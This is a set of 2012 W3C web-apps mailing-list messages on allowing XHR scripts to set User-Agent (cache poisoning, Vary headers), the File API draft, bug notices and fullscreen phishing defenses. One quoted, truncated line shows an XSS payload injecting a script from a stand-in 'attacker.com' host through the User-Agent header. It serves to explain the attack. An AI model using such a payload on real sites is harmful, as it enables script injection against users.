Re: RE: [XHR] Open issue: allow setting User-Agent?

[Hallvord Reiar Michaelsen Steen]

> > The point is that a browser can act as if every single server response
> > included "Vary: User-Agent".  And perhaps should.  Intermediary caches
> > _certainly_ should.



Good suggestion.

Julian Aubourg wrote;
> > I'm still more concerned about potentially legitimate use cases of
> User-Agent filtering that could lead to security breaches when removing
> User-Agent from the non-modifiable list. But if no-one else feels like there

> could ever be such a legitimate use-case


So far we haven't heard from anyone who has seen or implemented such a solution 
in real life ;-).


> Neither do I disagree to take User-Agent header out of the non-modifiable
> list as far as we resolve the possible issues. Before we make decision, I
> would like to bring some other issues found in an article [1]:
> 
> > """ (quoted from [1])
> > A few of the problems include:
> > 
> > 1. Many websites will return only error pages upon receiving a UA header
> over a fixed length (often 256 characters).
> 
> Should we specify the length of the header that the script allows in the
> spec?



I think the spec should try to allow JS authors to work around buggy servers 
rather than attempting to work around server bugs ourselves. This may be a 
general issue with header lengths, though, just seen more frequently with 
User-Agent because of all the junk some setups add to it, but I don't think it 
makes sense to mandate that second argument to setRequestHeader() must be less 
than 256 characters.


If anything, this makes it more useful to be able to set User-Agent - if you're 
writing an app for users with lots of junk in the UA string and want to load 
data from a server that can't handle that ;-)


> > 2. In IE7 and below, if the UA string grows to over 260 characters, the
> navigator.userAgent property is incorrectly computed.
> 
> IE specific case. I don't think we will change the navigator.userAgent with
> XHR request.



Correct. This doesn't apply.


> > 3. Poorly designed UA-sniffing code may be confused and misinterpret
> tokens in the UA.
> 
> Sanitizing the header value could be considered.



We could, but figuring out some sensible rules that will handle the world wild 
web's poorly designed sniffing would take us a while ;-)
 
> > 4. Poorly designed browser add-ons are known to misinterpret how the
> registry keys are used, and shove an entire UA string into one of the

> tokens, resulting in a "nested" UA string.


This problem doesn't apply to us.

> > 5. Because UA strings are sent for every HTTP request, they entail a
> significant performance cost. In degenerate cases [2], sending the UA string
> might consume 50% of the overall request bandwidth.



Also something that's probably  best left to the JS author's unpredictable 
needs IMO.
-Hallvord


> [1]
> http://blogs.msdn.com/b/ieinternals/archive/2009/10/08/extending-the-user-ag
> ent-string-problems-and-alternatives.aspx
> [2]
> http://brianary.blogspot.com/2009/07/internet-explorer-user-agent-spam.html
> 
> 
> Jungkee

-- 
Hallvord R. M. Steen
Core tester, Opera Software

RE: [XHR] Open issue: allow setting User-Agent?

[Jungkee Song]

> -Original Message-
> From: Boris Zbarsky [mailto:bzbar...@mit.edu]
> Sent: Wednesday, October 17, 2012 2:09 AM
> 
> On 10/16/12 1:04 PM, Mark Baker wrote:
> > That would be an improvement, but wouldn't solve the problem of
> > intermediary cache poisoning.
> 
> Ah, yes. Intermediary caches are indeed a problem.  I don't see anything
> the browser can do to solve that problem, unfortunately.
> 
> On the other hand, caches that don't assume "Vary: User-Agent" are
> already completely broken on the web when they sit between multiple
> users using multiple browsers and the rest of the web
>
> > Julian Aubourg wrote;
> >> Couldn't we simply state in the spec that browsers must add the User-
> Agent header to the Vary list, all the time?
> >
> > Vary is a response header, set by the server.
> 
> The point is that a browser can act as if every single server response
> included "Vary: User-Agent".  And perhaps should.  Intermediary caches
> _certainly_ should.
>

Yes, that could solve the issue, but it seems we cannot avoid the
intermediary caching proxy problem unless server actually put "Vary:
User-Agent" in every response. I'm wondering if it's still worth to put it
into spec.


Julian Aubourg wrote;
> I'm still more concerned about potentially legitimate use cases of
User-Agent filtering that could lead to security breaches when removing
User-Agent from the non-modifiable list. But if no-one else feels like there
could ever be such a legitimate use-case, then I don't think we should hold
back because of this out-of-cache XSS attack: let's just specify User-Agent
has to be in Vary all the time. It's not like it will break caching in the
general case anyway.

Neither do I disagree to take User-Agent header out of the non-modifiable
list as far as we resolve the possible issues. Before we make decision, I
would like to bring some other issues found in an article [1]:

> """ (quoted from [1])
> A few of the problems include:
> 
> 1. Many websites will return only error pages upon receiving a UA header
over a fixed length (often 256 characters).

Should we specify the length of the header that the script allows in the
spec?

> 2. In IE7 and below, if the UA string grows to over 260 characters, the
navigator.userAgent property is incorrectly computed.

IE specific case. I don't think we will change the navigator.userAgent with
XHR request.

> 3. Poorly designed UA-sniffing code may be confused and misinterpret
tokens in the UA.

Sanitizing the header value could be considered.

> 4. Poorly designed browser add-ons are known to misinterpret how the
registry keys are used, and shove an entire UA string into one of the
tokens, resulting in a "nested" UA string.
> 5. Because UA strings are sent for every HTTP request, they entail a
significant performance cost. In degenerate cases [2], sending the UA string
might consume 50% of the overall request bandwidth.
> """

[1]
http://blogs.msdn.com/b/ieinternals/archive/2009/10/08/extending-the-user-ag
ent-string-problems-and-alternatives.aspx
[2]
http://brianary.blogspot.com/2009/07/internet-explorer-user-agent-spam.html


Jungkee

CfC: publish LCWD of File API; deadline October 22

[Arthur Barstow]

All - this is a Call for Consensus to publish a Last Call Working Draft 
of the File API spec . Note bug 
17125 ([1] below) is open and Arun proposes it be postponed for v.next. 
Additionally, Arun notes below bug 19554 ([2] below) is a related 
feature request for HTML and he proposes the LC comment period be used 
to gather input on that bug.


This CfC satisfies the group's requirement to "record the group's 
decision to request advancement" for this LCWD. Note the Process 
Document states the following regarding the significance/meaning of a LCWD:


[[
http://www.w3.org/2005/10/Process-20051014/tr.html#last-call

Purpose: A Working Group's Last Call announcement is a signal that:

* the Working Group believes that it has satisfied its relevant 
technical requirements (e.g., of the charter or requirements document) 
in the Working Draft;


* the Working Group believes that it has satisfied significant 
dependencies with other groups;


* other groups SHOULD review the document to confirm that these 
dependencies have been satisfied. In general, a Last Call announcement 
is also a signal that the Working Group is planning to advance the 
technical report to later maturity levels.

]]

The proposed LC review period is 4 weeks.

If you have any comments or concerns about this CfC, please send them to 
public-webapps@w3.org by October 22 at the latest. Positive response is 
preferred and encouraged and silence will be considered as agreement 
with the proposal.


-Thanks, AB

 Original Message 
Subject: 	Re: [admin] Publishing specs before TPAC: CfC start deadline 
is Oct 15

Date:   Tue, 16 Oct 2012 17:29:17 -0700
From:   ext Arun Ranganathan 
To: Arthur Barstow 
CC: 


- Original Message -

On 10/9/12 4:13 PM, ext Arun Ranganathan wrote:
> On Sep 26, 2012, at 10:27 AM, Arthur Barstow wrote:
>
>> * File API - Arun can you get this spec ready for LC by October
>> 15?
>
> Yes.

ATM, File API has 8 open bugs [1].



I've rationalized these down to 2 bugs.

1. Bug 17125[1] is a feature that we should mark v.next; it calls for the ability to 
retroactively "unselect" an erroneous selection that is present in FileList.  I 
don't think this is a pressing feature.

2. Bug 19554[2] is a spec. request feature in WHATWG/HTML5, especially useful 
for autoRevoke semantics for Blob URLs.  I'm not sure whether autoRevoke is at 
risk because of this bug, since implementations have shown that stable state 
(what the spec. uses now) is problematic for autoRevoke.  But I'll let this be 
discussed in LC commentary or in upcoming TPAC discussions.


P.S. Dom's WebIDL checker reports a bug in the Blob constructor


Thanks for catching that :)  I think that particular bug is fixed.

And I'm sorry this is a day late (e.g. not ready by Oct. 15).  I've gotten it PubReady, 
using a "push out" date of Oct. 18.  Hope that works:
http://dev.w3.org/2006/webapi/FileAPI/


-- A*

[1] https://www.w3.org/Bugs/Public/show_bug.cgi?id=17125
[2] https://www.w3.org/Bugs/Public/show_bug.cgi?id=19554

Re: [admin] Publishing specs before TPAC: CfC start deadline is Oct 15

[Arun Ranganathan]

- Original Message -
> On 10/9/12 4:13 PM, ext Arun Ranganathan wrote:
> > On Sep 26, 2012, at 10:27 AM, Arthur Barstow wrote:
> >
> >> * File API - Arun can you get this spec ready for LC by October
> >> 15?
> >
> > Yes.
> 
> ATM, File API has 8 open bugs [1]. 


I've rationalized these down to 2 bugs.  

1. Bug 17125[1] is a feature that we should mark v.next; it calls for the 
ability to retroactively "unselect" an erroneous selection that is present in 
FileList.  I don't think this is a pressing feature.

2. Bug 19554[2] is a spec. request feature in WHATWG/HTML5, especially useful 
for autoRevoke semantics for Blob URLs.  I'm not sure whether autoRevoke is at 
risk because of this bug, since implementations have shown that stable state 
(what the spec. uses now) is problematic for autoRevoke.  But I'll let this be 
discussed in LC commentary or in upcoming TPAC discussions.

>P.S. Dom's WebIDL checker reports a bug in the Blob constructor 

Thanks for catching that :)  I think that particular bug is fixed.

And I'm sorry this is a day late (e.g. not ready by Oct. 15).  I've gotten it 
PubReady, using a "push out" date of Oct. 18.  Hope that works: 
http://dev.w3.org/2006/webapi/FileAPI/


-- A*

[1] https://www.w3.org/Bugs/Public/show_bug.cgi?id=17125
[2] https://www.w3.org/Bugs/Public/show_bug.cgi?id=19554

[Bug 19003] Bugs in toNativeLineEndings()

[bugzilla]

https://www.w3.org/Bugs/Public/show_bug.cgi?id=19003

Arun  changed:

   What|Removed |Added

 Status|NEW |RESOLVED
 Resolution|--- |FIXED

--- Comment #7 from Arun  ---
Done.

-- 
You are receiving this mail because:
You are on the CC list for the bug.

RE: Defenses against phishing via the fullscreen api (was Re: full screen api)

[Carr, Wayne]

> Chrome supports Fullscreen with keyboard enabled. We use a notification that 
> persists until a user notices and
> dismisses it. We may modify it in the future to make this more noticeable, 
> e.g. dimming page contents similar to FireFox.

It would be safer if this was not only dimmed, but was modal, so the user could 
not interact with the rest of the full screen contents of that page until they 
responded to the notification.  Then they couldn’t accidentally interact with a 
full screen app masquerading as a browser.

(Either that or don’t go full screen until the user responded to the 
notification.)


From: Vincent Scheib [mailto:sch...@google.com]
Sent: Tuesday, October 16, 2012 1:57 PM
To: Maciej Stachowiak
Cc: Chris Pearce; Florian Bösch; Anne van Kesteren; Carr, Wayne; 
public-webapps@w3.org
Subject: Re: Defenses against phishing via the fullscreen api (was Re: full 
screen api)

Chrome supports Fullscreen with keyboard enabled. We use a notification that 
persists until a user notices and dismisses it. We may modify it in the future 
to make this more noticeable, e.g. dimming page contents similar to FireFox.

I personally think it would be unfortunate to support multiple modes of 
Fullscreen. It seems to add complexity for developers and disjoint experiences 
for users. If the experience is the same for users, what is the point of having 
the API split? If it's not the same, then there is confusion over why some 
pages go fullscreen in different ways.

However, if other browsers only implement fullscreen without keyboard support 
then clearly it would be best if developers could detect this when composing 
their application interface, avoiding prompting users to enter fullscreen if it 
will not work correctly.

On Mon, Oct 15, 2012 at 10:48 PM, Maciej Stachowiak 
mailto:m...@apple.com>> wrote:

On Oct 15, 2012, at 5:01 PM, Chris Pearce 
mailto:cpea...@mozilla.com>> wrote:

> On 16/10/12 11:39, Maciej Stachowiak wrote:
>>
>> That's why I liked having a separate API to request fullscreen with full 
>> alphanumeric keyboard access. This allows apps to determine if fullscreen 
>> with keyboard is available on a given browser, and allows browsers to set 
>> separate security policies for that case.
>
> Would you implement keyboard access in fullscreen via this API if we spec'd 
> it? Or are you looking for a way to for authors to determine if key input 
> isn't supported in fullscreen mode?
Our most likely short-term goal would be the latter (enabling capability 
detection) but I wouldn't take full keyboard access off the table forever. We 
would want the freedom to apply different security policy to that case when/if 
we do it though.

>
>
>> I think the spec should change back to having two distinct APIs, even though 
>> Mozilla is not interested in making a distinction between the two cases.
>
> I'd say fullscreen video is the only fullscreen use case where page script 
> shouldn't need key events dispatched to it. I'm sure some other fullscreen 
> uses wouldn't want key events, but most non-trivial users of fullscreen would 
> want keyboard shortcuts or input.
Many games could work with only non-alphanumeric keys or in some cases only the 
mouse. As could slideshows. You only need space/enter/arrows for a full screen 
slide presentation.

What are the cases where webpage-driven (as opposed to browser-chrome-driven) 
fullscreen is really compelling, but they need full keyboard access including 
alphanumeric keys? (Not saying there aren't any, I am just not sure what they 
would be - fullscreen Nethack?)

>
> Anyway, I'm curious what the Chrome guys think.
Likewise.


Cheers,
Maciej

Re: Defenses against phishing via the fullscreen api (was Re: full screen api)

[Florian Bösch]

On Tue, Oct 16, 2012 at 10:56 PM, Vincent Scheib  wrote:

> However, if other browsers only implement fullscreen without keyboard
> support then clearly it would be best if developers could detect this when
> composing their application interface, avoiding prompting users to enter
> fullscreen if it will not work correctly.
>
It is absolutely mandatory that if entering fullscreen will disable random
capabilities (such as the keyboard) that developers can query that. The
reason as you've mentioned is that if you enter fullscreen and things stop
working, that is not an acceptable situation. Users will think the
application has a bug and close the sites tab.

In the presence of an unknown working state after entering fullscreen,
developers could never place a button to allow entering fullscreen.
Developers would have to hide the option to enter fullscreen behind a
dialog educating users that they can enter fullscreen, but if things stop
working it is not the fault of the application offering that button, but of
the browser vendor, and that instead of closing a tab of a bugged
application, they should try it without fullscreen and pretty please don't
blame the developer for making a buggy app. I consider that bad UX btw.

Re: Defenses against phishing via the fullscreen api (was Re: full screen api)

[Vincent Scheib]

Chrome supports Fullscreen with keyboard enabled. We use a notification
that persists until a user notices and dismisses it. We may modify it in
the future to make this more noticeable, e.g. dimming page contents similar
to FireFox.

I personally think it would be unfortunate to support multiple modes of
Fullscreen. It seems to add complexity for developers and disjoint
experiences for users. If the experience is the same for users, what is the
point of having the API split? If it's not the same, then there is
confusion over why some pages go fullscreen in different ways.

However, if other browsers only implement fullscreen without keyboard
support then clearly it would be best if developers could detect this when
composing their application interface, avoiding prompting users to enter
fullscreen if it will not work correctly.

On Mon, Oct 15, 2012 at 10:48 PM, Maciej Stachowiak  wrote:

>
> On Oct 15, 2012, at 5:01 PM, Chris Pearce  wrote:
>
> > On 16/10/12 11:39, Maciej Stachowiak wrote:
> >>
> >> That's why I liked having a separate API to request fullscreen with
> full alphanumeric keyboard access. This allows apps to determine if
> fullscreen with keyboard is available on a given browser, and allows
> browsers to set separate security policies for that case.
> >
> > Would you implement keyboard access in fullscreen via this API if we
> spec'd it? Or are you looking for a way to for authors to determine if key
> input isn't supported in fullscreen mode?
>
> Our most likely short-term goal would be the latter (enabling capability
> detection) but I wouldn't take full keyboard access off the table forever.
> We would want the freedom to apply different security policy to that case
> when/if we do it though.
>
> >
> >
> >> I think the spec should change back to having two distinct APIs, even
> though Mozilla is not interested in making a distinction between the two
> cases.
> >
> > I'd say fullscreen video is the only fullscreen use case where page
> script shouldn't need key events dispatched to it. I'm sure some other
> fullscreen uses wouldn't want key events, but most non-trivial users of
> fullscreen would want keyboard shortcuts or input.
>
> Many games could work with only non-alphanumeric keys or in some cases
> only the mouse. As could slideshows. You only need space/enter/arrows for a
> full screen slide presentation.
>
> What are the cases where webpage-driven (as opposed to
> browser-chrome-driven) fullscreen is really compelling, but they need full
> keyboard access including alphanumeric keys? (Not saying there aren't any,
> I am just not sure what they would be - fullscreen Nethack?)
>
> >
> > Anyway, I'm curious what the Chrome guys think.
>
> Likewise.
>
>
> Cheers,
> Maciej
>
>
>

Re: [XHR] Open issue: allow setting User-Agent?

[Mark Baker]

On Tue, Oct 16, 2012 at 1:08 PM, Boris Zbarsky  wrote:
> The point is that a browser can act as if every single server response
> included "Vary: User-Agent".  And perhaps should.  Intermediary caches
> _certainly_ should.

I don't have enough experience with that scenario to agree or
disagree, but if you feel strongly that the world would be better off
with this, you should make your case to the HTTP WG. It's possible it
would be considered out of scope for httpbis since it would seem to
change the protocol in an incompatible way. But it would at least get
on the radar for HTTP 2.0.

Mark.

Re: [XHR] Open issue: allow setting User-Agent?

[Julian Aubourg]

>
>
> The point is that a browser can act as if every single server response
> included "Vary: User-Agent".  And perhaps should.  Intermediary caches
> _certainly_ should.
>
>
Yes, that was my point. Do as if User-Agent was part of the Vary response
header.

Re: [XHR] Open issue: allow setting User-Agent?

[Boris Zbarsky]

On 10/16/12 1:04 PM, Mark Baker wrote:

That would be an improvement, but wouldn't solve the problem of
intermediary cache poisoning.


Ah, yes. Intermediary caches are indeed a problem.  I don't see anything 
the browser can do to solve that problem, unfortunately.


On the other hand, caches that don't assume "Vary: User-Agent" are 
already completely broken on the web when they sit between multiple 
users using multiple browsers and the rest of the web



Julian Aubourg wrote;

Couldn't we simply state in the spec that browsers must add the User-Agent 
header to the Vary list, all the time?


Vary is a response header, set by the server.


The point is that a browser can act as if every single server response 
included "Vary: User-Agent".  And perhaps should.  Intermediary caches 
_certainly_ should.


-Boris

Re: [XHR] Open issue: allow setting User-Agent?

[Mark Baker]

On Tue, Oct 16, 2012 at 11:21 AM, Boris Zbarsky  wrote:
> Again, "Vary: User-Agent" is the answer here, from the browser's point of
> view.

Agreed.

> I agree that this would be good to discuss in a security implications
> section.  The spec could even require that responses to XHR with custom UA
> simply not be cached, if we want to play it safe.

That would be an improvement, but wouldn't solve the problem of
intermediary cache poisoning.

Julian Aubourg wrote;
> Couldn't we simply state in the spec that browsers must add the User-Agent 
> header to the Vary list, all the time?

Vary is a response header, set by the server.

Mark.

Re: [XHR] Open issue: allow setting User-Agent?

[Julian Aubourg]

I tend to agree with Boris on this one.

Couldn't we simply state in the spec that browsers must add the User-Agent
header to the Vary list, all the time? That would instantly solve the
attack-from-the-cache problem, right? No need to sanitize the data, no need
to negotiate anything between both ends.

If that's the only security threat, it actually seems quite simple to
disable.

I'm still more concerned about potentially legitimate use cases of
User-Agent filtering that could lead to security breaches when removing
User-Agent from the non-modifiable list. But if no-one else feels like
there could ever be such a legitimate use-case, then I don't think we
should hold back because of this out-of-cache XSS attack: let's just
specify User-Agent has to be in Vary all the time. It's not like it will
break caching in the general case anyway.

Le mardi 16 octobre 2012, Boris Zbarsky a écrit :

> On 10/16/12 8:44 AM, Hallvord Reiar Michaelsen Steen wrote:
>
>> xhr=new XMLHttpRequest();
>> xhr.setRequestHeader('User-**Agent', '-->http://attacker.com/**malice.js <http://attacker.com/malice.js>
>> ">

[Bug 17758] Consider using microtasks for autorevoke

[bugzilla]

https://www.w3.org/Bugs/Public/show_bug.cgi?id=17758

Arun  changed:

   What|Removed |Added

 Status|NEW |RESOLVED
 Resolution|--- |WONTFIX

--- Comment #6 from Arun  ---
See Bug 19554

-- 
You are receiving this mail because:
You are on the CC list for the bug.

[Bug 16953] createObjectURL and oneTimeOnly behavior should be defined in terms of stable state

[bugzilla]

https://www.w3.org/Bugs/Public/show_bug.cgi?id=16953

Arun  changed:

   What|Removed |Added

 Status|NEW |RESOLVED
 Resolution|--- |WONTFIX

--- Comment #12 from Arun  ---
See Bug 19554.

-- 
You are receiving this mail because:
You are on the CC list for the bug.

[Bug 17758] Consider using microtasks for autorevoke

[bugzilla]

https://www.w3.org/Bugs/Public/show_bug.cgi?id=17758

Bug 17758 depends on bug 16790, which changed state.

Bug 16790 Summary: The term microtask should be defined
https://www.w3.org/Bugs/Public/show_bug.cgi?id=16790

   What|Removed |Added

 Status|REOPENED|RESOLVED
 Resolution|--- |WONTFIX

-- 
You are receiving this mail because:
You are on the CC list for the bug.

Call for Editor: Progress Events REC track spec

[Arthur Barstow]

Hi All,

Since the Invited Expert route didn't work out for Anne, we need an 
Editor(s) to move the Progress Events spec - last published as a 
Candidate Recommendation [ProgEv] - towards Recommendation. If you are 
interested in this Editor position, please contact me offlist.


Also, if anyone has implementation data for this spec, please let us know.

(Ms2ger submitted some test cases 
).


-Thanks, AB

[ProgEv] 

Re: Defenses against phishing via the fullscreen api (was Re: full screen api)

[Florian Bösch]

On Tue, Oct 16, 2012 at 7:48 AM, Maciej Stachowiak  wrote:

> What are the cases where webpage-driven (as opposed to
> browser-chrome-driven) fullscreen is really compelling, but they need full
> keyboard access including alphanumeric keys? (Not saying there aren't any,
> I am just not sure what they would be - fullscreen Nethack?)
>
There are many games that require key input. There exist popular
keymappings for certain genres (such FPSes) that are colloquially shortned
to the moniker WASD. FPS games (and any other game that uses the mouse for
view control) usually prefers WASD over cursor keys because it allows the
arms to rest at a relaxed position, whereas using the cursor keys for the
same either involves a painful posture or an adjustment of the keyboard
position.

Beyond the simple directional control, which give you 2 axes of freedom.
There are games (such as descent, flight simulators, strategy games etc)
where often a third axis might be needed. A common input scheme for these
games is QWEASD.

Beyond a simple 3-axis implementation there are categories of games (like
RTSes or RPGs) which make heavy use of shortcuts (for instance starcraft
and world of warcraft, nethack, etc.) because they need to deal with a
large catalogue of actions to be performed and clicking around in menus
would mostly be undesired by frequent players.

Beyond axial control and shortcuts games do require keyboard input for text
(such as in entering an avatar nickname, chatting etc.)

Beyond axial control, shortcuts and text input there is a good reason to
allow people to map the game action keys to whatever keys they prefer. It
is considered bad form to assume everybody is comfortable with the same
input scheme/locations. This problem becomes especially apparent in
physically disabled users who often cannot use standard input schemes at
all.